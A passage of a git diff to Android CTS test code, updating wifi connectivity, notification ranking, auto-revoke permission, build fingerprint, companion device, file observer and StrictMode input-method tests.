+            assertTrue("Cannot check network " + wifiNetworkToCheck + ": wifi is not connected",
+                    wasWifiConnected);
+            final NetworkCapabilities nc = mCm.getNetworkCapabilities(wifiNetworkToCheck);
+            assertNotNull("Network " + wifiNetworkToCheck + " is not connected", nc);
             try {
                 wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
                 testHttpRequest(wifiBoundSocket);
@@ -157,13 +299,16 @@
             }
         }
 
-        boolean disconnected = false;
         try {
             SystemUtil.runShellCommand("svc wifi disable");
-            // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
-            lostWifiNetwork = callback.waitForLost();
-            assertNotNull(lostWifiNetwork);
-            disconnected = receiver.waitForState();
+            if (wasWifiConnected) {
+                // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
+                assertNotNull("Did not receive onLost callback after disabling wifi",
+                        callback.waitForLost());
+            }
+            if (wasWifiConnected && expectLegacyBroadcast) {
+                assertTrue("Wifi failed to reach DISCONNECTED state.", receiver.waitForState());
+            }
         } catch (InterruptedException ex) {
             fail("disconnectFromWifi was interrupted");
         } finally {
@@ -171,8 +316,6 @@
             mContext.unregisterReceiver(receiver);
         }
 
-        assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
-
         // Check that the socket is closed when wifi disconnects.
         if (wifiBoundSocket != null) {
             try {
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 37d7c57..4318f7f 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -238,6 +238,7 @@
             mNotificationListenerService.mRankingMap.getRanking(sbn1.getKey(), out1);
             mNotificationListenerService.mRankingMap.getRanking(sbn2.getKey(), out2);
 
+            // verify the relative ordering changed
             int newRank1 = out1.getRank();
             int newRank2 = out2.getRank();
             if (currentRank1 > currentRank2) {
@@ -415,8 +416,14 @@
         mNotificationListenerService.mRankingMap.getRanking(sbn1.getKey(), out1);
         mNotificationListenerService.mRankingMap.getRanking(sbn2.getKey(), out2);
 
-        assertEquals(currentRank1, out1.getRank());
-        assertEquals(currentRank2, out2.getRank());
+        // verify the relative ordering remains the same
+        int newRank1 = out1.getRank();
+        int newRank2 = out2.getRank();
+        if (currentRank1 > currentRank2) {
+            assertTrue(newRank1 > newRank2);
+        } else {
+            assertTrue(newRank1 < newRank2);
+        }
     }
 
     @Test
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index b118392..e04630b 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -26,6 +26,7 @@
         "truth-prebuilt",
         "guava",
         "junit",
+        "CtsMockInputMethodLib"
     ],
     jni_uses_platform_apis: true,
     jni_libs: [
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 07de155..5a53fa5 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -48,6 +48,7 @@
     <uses-permission android:name="android.permission.POWER_SAVER" />
     <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
     <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
 
diff --git a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
index 202b95c..bed0bf0 100644
--- a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
+++ b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
 
-    <application android:autoRevokePermissions="discouraged">
+    <application>
         <activity android:name="android.os.cts.autorevokedummyapp.MainActivity"
                   android:exported="true"
                   android:visibleToInstantApps="true" >
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml
deleted file mode 100644
index 5c253ee..0000000
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--s
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts.autorevokewhitelisteddummyapp">
-
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-
-    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
-
-    <application android:autoRevokePermissions="disallowed">
-        <activity android:name="android.os.cts.autorevokewhitelisteddummyapp.MainActivity"
-                  android:exported="true"
-                  android:visibleToInstantApps="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt b/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt
deleted file mode 100644
index 6e59224..0000000
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokewhitelisteddummyapp
-
-import android.app.Activity
-import android.os.Bundle
-import android.widget.LinearLayout
-import android.widget.LinearLayout.VERTICAL
-import android.widget.TextView
-
-class MainActivity : Activity() {
-
-    val whitelistStatus by lazy { TextView(this) }
-
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        setContentView(LinearLayout(this).apply {
-            orientation = VERTICAL
-
-            addView(whitelistStatus)
-        })
-
-        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
-    }
-
-    override fun onResume() {
-        super.onResume()
-
-        whitelistStatus.text = "Auto-revoke whitelisted: " + packageManager.isAutoRevokeWhitelisted
-    }
-}
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index d1ab773..7ce85d6 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -22,6 +22,15 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="force-install-mode" value="FULL"/>
+        <option name="test-file-name" value="CtsMockInputMethod.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="screen-always-on" value="on" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.os.cts" />
         <option name="runtime-hint" value="3m15s" />
@@ -36,8 +45,5 @@
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
-        <option
-            name="push"
-            value="CtsAutoRevokeWhitelistedDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeWhitelistedDummyApp.apk" />
     </target_preparer>
 </configuration>
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index d18479d51..9bebccf 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -17,6 +17,7 @@
 package android.os.cts
 
 import android.content.Intent
+import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.PERMISSION_DENIED
@@ -24,7 +25,6 @@
 import android.net.Uri
 import android.platform.test.annotations.AppModeFull
 import android.provider.DeviceConfig
-import android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
@@ -45,10 +45,8 @@
 import java.util.regex.Pattern
 
 private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
-private const val APK_WHITELISTED_PATH =
-        "/data/local/tmp/cts/os/CtsAutoRevokeWhitelistedDummyApp.apk"
 private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
-private const val APK_WHITELISTED_PACKAGE_NAME = "android.os.cts.autorevokewhitelisteddummyapp"
+private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
 
 /**
  * Test for auto revoke
@@ -153,28 +151,6 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
-    fun testAutoRevoke_manifestWhitelisting() {
-        wakeUpScreen()
-        withUnusedThresholdMs(5L) {
-            withDummyApp(APK_WHITELISTED_PATH, APK_WHITELISTED_PACKAGE_NAME) {
-                // Setup
-                startApp(APK_WHITELISTED_PACKAGE_NAME)
-                clickPermissionAllow()
-                assertWhitelistState(true)
-
-                // Run
-                goHome()
-                Thread.sleep(20L)
-                runAutoRevoke()
-                Thread.sleep(500L)
-
-                // Verify
-                assertPermission(PERMISSION_GRANTED, APK_WHITELISTED_PACKAGE_NAME)
-            }
-        }
-    }
-
-    @AppModeFull(reason = "Uses separate apps for testing")
     fun testInstallGrants_notRevokedImmediately() {
         wakeUpScreen()
         withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
@@ -303,47 +279,19 @@
     }
 
     private fun assertPermission(state: Int, packageName: String = APK_PACKAGE_NAME) {
-        // For some reason this incorrectly always returns PERMISSION_DENIED
-//        runWithShellPermissionIdentity {
-//            assertEquals(
-//                permissionStateToString(state),
-//                permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
-//        }
-
-        try {
-            goToPermissions(packageName)
-
-            waitForIdle()
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
-            val permStateSection = ui.lowestCommonAncestor(
-                    { node -> node.textAsString.equals("Allowed", ignoreCase = true) },
-                    { node -> node.textAsString.equals("Denied", ignoreCase = true) }
-            ).assertNotNull {
-                "Cannot find permissions state section in\n${uiDump(ui)}"
-            }
-            val sectionHeaderIndex = permStateSection.children.indexOfFirst {
-                it?.depthFirstSearch { node ->
-                    node.textAsString.equals(
-                            if (state == PERMISSION_GRANTED) "Allowed" else "Denied",
-                            ignoreCase = true)
-                } != null
-            }
-            permStateSection.getChild(sectionHeaderIndex + 1).depthFirstSearch { node ->
-                node.textAsString.equals("Calendar", ignoreCase = true)
-            }.assertNotNull {
-                "Permission must be ${permissionStateToString(state)}\n${uiDump(ui)}"
-            }
-        } finally {
-            goBack()
-            goBack()
+        runWithShellPermissionIdentity {
+            assertEquals(
+                permissionStateToString(state),
+                permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
         }
     }
 
     private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
-        context.startActivity(Intent(ACTION_APPLICATION_DETAILS_SETTINGS)
+        context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
                 .setData(Uri.fromParts("package", packageName, null))
                 .addFlags(FLAG_ACTIVITY_NEW_TASK))
 
+        waitForIdle()
         click("Permissions")
     }
 
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 8a5c52f..2f80d68 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -29,6 +29,7 @@
 import java.io.IOException;
 import java.io.InputStreamReader;
 import java.util.HashSet;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Set;
 
@@ -37,7 +38,7 @@
     private static final String LOG_TAG = "BuildVersionTest";
     private static final int EXPECTED_SDK = 30;
     private static final String EXPECTED_BUILD_VARIANT = "user";
-    private static final String EXPECTED_TAG = "release-keys";
+    private static final String EXPECTED_KEYS = "release-keys";
     private static final String PLATFORM_RELEASES_FILE = "platform_releases.txt";
 
     @SuppressWarnings("deprecation")
@@ -89,7 +90,10 @@
         String[] buildNumberVariant = fingerprintSegs[4].split(":");
         String buildVariant = buildNumberVariant[1];
         assertEquals("Variant", EXPECTED_BUILD_VARIANT, buildVariant);
-        assertEquals("Tag", EXPECTED_TAG, fingerprintSegs[5]);
+
+        List<String> buildTagsList = Arrays.asList(fingerprintSegs[5].split(","));
+        boolean containsReleaseKeys = buildTagsList.contains(EXPECTED_KEYS);
+        assertTrue("Keys", containsReleaseKeys);
     }
 
     public void testPartitions() {
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 4517327..773551b 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,23 +17,31 @@
 package android.os.cts
 
 import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
 import android.net.MacAddress
 import android.platform.test.annotations.AppModeFull
 import android.test.InstrumentationTestCase
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.ThrowingSupplier
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
 
 const val COMPANION_APPROVE_WIFI_CONNECTIONS =
         "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
 const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
 const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
 const val SHELL_PACKAGE_NAME = "com.android.shell"
-val InstrumentationTestCase.context get() = instrumentation.context
+val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
  * Test for [CompanionDeviceManager]
  */
+@RunWith(AndroidJUnit4::class)
 class CompanionDeviceManagerTest : InstrumentationTestCase() {
 
     val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
@@ -58,7 +66,13 @@
         }, *permissions)
     }
 
+    @Before
+    fun assumeHasFeature() {
+        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+    }
+
     @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
     fun testIsDeviceAssociated() {
         val userId = context.userId
         val packageName = context.packageName
@@ -78,6 +92,7 @@
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
     fun testIsDeviceAssociatedWithCompanionApproveWifiConnectionsPermission() {
         assertTrue(isCdmAssociated(
             DUMMY_MAC_ADDRESS, SHELL_PACKAGE_NAME, MANAGE_COMPANION_DEVICES,
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java
index e758dd4..4c183e2 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java
@@ -16,6 +16,7 @@
 
 package android.os.cts;
 
+import android.os.Environment;
 import android.os.FileObserver;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
@@ -58,6 +59,9 @@
         if (!InstrumentationRegistry.getTargetContext().getPackageManager().isInstantApp()) {
             dir = getContext().getExternalFilesDir(null);
             helpSetUp(dir);
+
+            dir = Environment.getExternalStorageDirectory();
+            helpSetUp(dir);
         }
     }
 
@@ -91,6 +95,9 @@
 
         dir = getContext().getExternalFilesDir(null);
         helpTearDown(dir);
+
+        dir = Environment.getExternalStorageDirectory();
+        helpTearDown(dir);
     }
 
     public void testConstructor() {
@@ -139,9 +146,9 @@
             expected = new int[] {UNDEFINED};
             moveEvents = waitForEvent(fileObserver);
             if (isEmulated)
-                assertEventsContains(expected, moveEvents);
+                assertEventsContains(testFile, expected, moveEvents);
             else
-                assertEventsEquals(expected, moveEvents);
+                assertEventsEquals(testFile, expected, moveEvents);
         } finally {
             fileObserver.stopWatching();
             if (out != null)
@@ -178,9 +185,9 @@
             };
             moveEvents = waitForEvent(movedFileObserver);
             if (isEmulated) {
-                assertEventsContains(expected, moveEvents);
+                assertEventsContains(testFile, expected, moveEvents);
             } else {
-                assertEventsEquals(expected, moveEvents);
+                assertEventsEquals(testFile, expected, moveEvents);
             }
         } finally {
             movedFileObserver.stopWatching();
@@ -206,9 +213,9 @@
 
         final FileEvent[] moveEvents = waitForEvent(fileObserver);
         if (isEmulated) {
-            assertEventsContains(expected, moveEvents);
+            assertEventsContains(testFile, expected, moveEvents);
         } else {
-            assertEventsEquals(expected, moveEvents);
+            assertEventsEquals(testFile, expected, moveEvents);
         }
     }
 
@@ -231,9 +238,9 @@
 
         final FileEvent[] moveEvents = waitForEvent(fileObserver);
         if (isEmulated) {
-            assertEventsContains(expected, moveEvents);
+            assertEventsContains(testFile, expected, moveEvents);
         } else {
-            assertEventsEquals(expected, moveEvents);
+            assertEventsEquals(testFile, expected, moveEvents);
         }
     }
 
@@ -247,11 +254,17 @@
     }
 
     @AppModeFull(reason = "Instant apps cannot access external storage")
+    public void testFileObserverExternalStorageDirectory() throws Exception {
+        helpTestFileObserver(Environment.getExternalStorageDirectory(), true);
+    }
+
+    @AppModeFull(reason = "Instant apps cannot access external storage")
     public void testFileObserver_multipleFilesFull() throws Exception {
         verifyMultipleFiles(
                 Pair.create(getContext().getCacheDir(), false),
                 Pair.create(getContext().getFilesDir(), false),
-                Pair.create(getContext().getExternalFilesDir(null), true)
+                Pair.create(getContext().getExternalFilesDir(null), true),
+                Pair.create(Environment.getExternalStorageDirectory(), true)
         );
     }
 
@@ -298,26 +311,30 @@
         }
     }
 
-    private void assertEventsEquals(final int[] expected, final FileEvent[] moveEvents) {
+    private void assertEventsEquals(
+            File testFile, final int[] expected, final FileEvent[] moveEvents) {
         List<Integer> expectedEvents = new ArrayList<Integer>();
         for (int i = 0; i < expected.length; i++) {
             expectedEvents.add(expected[i]);
         }
         List<FileEvent> actualEvents = Arrays.asList(moveEvents);
-        String message = "Expected: " + expectedEvents + " Actual: " + actualEvents;
+        String message = "For test file [" + testFile.getAbsolutePath()
+                + "] expected: " + expectedEvents + " Actual: " + actualEvents;
         assertEquals(message, expected.length, moveEvents.length);
         for (int i = 0; i < expected.length; i++) {
             assertEquals(message, expected[i], moveEvents[i].event);
         }
     }
 
-    private void assertEventsContains(final int[] expected, final FileEvent[] moveEvents) {
+    private void assertEventsContains(
+            File testFile, final int[] expected, final FileEvent[] moveEvents) {
         List<Integer> expectedEvents = new ArrayList<Integer>();
         for (int i = 0; i < expected.length; i++) {
             expectedEvents.add(expected[i]);
         }
         List<FileEvent> actualEvents = Arrays.asList(moveEvents);
-        String message = "Expected to contain: " + expectedEvents + " Actual: " + actualEvents;
+        String message = "For test file [" + testFile.getAbsolutePath()
+                + "] expected: " + expectedEvents + " Actual: " + actualEvents;
         int j = 0;
         for (int i = 0; i < expected.length; i++) {
             while (expected[i] != moveEvents[j].event) {
diff --git a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
index 42423156..22c706fe 100644
--- a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
+++ b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
@@ -16,7 +16,30 @@
 
 package android.os.cts;
 
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
 import android.app.Activity;
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
 
 public class SimpleTestActivity extends Activity {
+    private EditText mEditText;
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        mEditText = new EditText(this);
+        final LinearLayout layout = new LinearLayout(this);
+        layout.setOrientation(LinearLayout.VERTICAL);
+        layout.addView(mEditText);
+        setContentView(layout);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+        mEditText.requestFocus();
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index a591148..a50fd5a 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -17,9 +17,15 @@
 package android.os.cts;
 
 import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -32,7 +38,9 @@
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.hardware.display.DisplayManager;
+import android.inputmethodservice.InputMethodService;
 import android.net.TrafficStats;
 import android.net.Uri;
 import android.os.IBinder;
@@ -61,10 +69,16 @@
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
+import androidx.annotation.IntDef;
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -76,6 +90,8 @@
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
 import java.net.HttpURLConnection;
 import java.net.Socket;
 import java.net.URL;
@@ -94,10 +110,52 @@
 public class StrictModeTest {
     private static final String TAG = "StrictModeTest";
     private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
+    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
 
     private StrictMode.ThreadPolicy mThreadPolicy;
     private StrictMode.VmPolicy mVmPolicy;
 
+    // TODO(b/160143006): re-enable IMS part test.
+    private static final boolean DISABLE_VERIFY_IMS = false;
+
+    /**
+     * Verify mode to verifying if APIs violates incorrect context violation.
+     *
+     * @see #VERIFY_MODE_GET_DISPLAY
+     * @see #VERIFY_MODE_GET_WINDOW_MANAGER
+     * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
+     */
+    @Retention(RetentionPolicy.SOURCE)
+    @IntDef(flag = true, value = {
+            VERIFY_MODE_GET_DISPLAY,
+            VERIFY_MODE_GET_WINDOW_MANAGER,
+            VERIFY_MODE_GET_VIEW_CONFIGURATION,
+    })
+    private @interface VerifyMode {}
+
+    /**
+     * Verifies if {@link Context#getDisplay} from {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} violates
+     * incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_DISPLAY = 1;
+    /**
+     * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
+     * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
+     * violates incorrect context violation.
+     *
+     * @see Context#getSystemService(String)
+     * @see Context#getSystemService(Class)
+     */
+    private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 2;
+    /**
+     * Verifies if passing {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+     * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 3;
+
     private Context getContext() {
         return ApplicationProvider.getApplicationContext();
     }
@@ -645,6 +703,9 @@
         final Activity activity = InstrumentationRegistry.getInstrumentation()
                 .startActivitySync(intent);
         assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
+
+        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+        verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
     }
 
     @Test
@@ -667,10 +728,13 @@
 
         Intent intent = new Intent(getContext(), SimpleTestActivity.class);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
         final Activity activity = InstrumentationRegistry.getInstrumentation()
                 .startActivitySync(intent);
         assertNoViolation(() -> activity.getDisplay());
 
+        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+        verifyIms(VERIFY_MODE_GET_DISPLAY);
         try {
             getContext().getApplicationContext().getDisplay();
         } catch (UnsupportedOperationException e) {
@@ -689,14 +753,14 @@
 
         final Context baseContext = getContext();
         assertViolation(
-                "Tried to access UI constants from a non-visual Context.",
+                "Tried to access UI constants from a non-visual Context:",
                 () -> ViewConfiguration.get(baseContext));
 
         final Display display = baseContext.getSystemService(DisplayManager.class)
                 .getDisplay(DEFAULT_DISPLAY);
         final Context displayContext = baseContext.createDisplayContext(display);
         assertViolation(
-                "Tried to access UI constants from a non-visual Context.",
+                "Tried to access UI constants from a non-visual Context:",
                 () -> ViewConfiguration.get(displayContext));
 
         final Context windowContext =
@@ -708,6 +772,57 @@
         final Activity activity = InstrumentationRegistry.getInstrumentation()
                 .startActivitySync(intent);
         assertNoViolation(() -> ViewConfiguration.get(activity));
+
+        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+        verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
+    }
+
+    // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+    /**
+     * Verify if APIs violates incorrect context violations by {@code mode}.
+     *
+     * @see VerifyMode
+     */
+    private void verifyIms(@VerifyMode int mode) throws Exception {
+        // If devices do not support installable IMEs, finish the test gracefully. We don't use
+        // assumeTrue here because we do pass some cases, so showing "pass" instead of "skip" makes
+        // sense here.
+        // TODO(b/160143006): re-enable IMS part test.
+        if (!supportsInstallableIme() || DISABLE_VERIFY_IMS) {
+            return;
+        }
+
+        try (final MockImeSession imeSession = MockImeSession.create(getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setStrictModeEnabled(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            final ImeEvent imeEvent;
+            switch (mode) {
+                case VERIFY_MODE_GET_DISPLAY:
+                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetDisplay(),
+                            TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_WINDOW_MANAGER:
+                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(),
+                            TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_VIEW_CONFIGURATION:
+                    imeEvent = expectCommand(forkedStream,
+                            imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
+                    break;
+                default:
+                    imeEvent = null;
+            }
+            assertTrue(imeEvent.getReturnBooleanValue());
+            notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    NOT_EXPECT_TIMEOUT);
+        }
+    }
+
+    private boolean supportsInstallableIme() {
+        return getContext().getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS);
     }
 
     private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
index 54d4260..1f8f283 100644
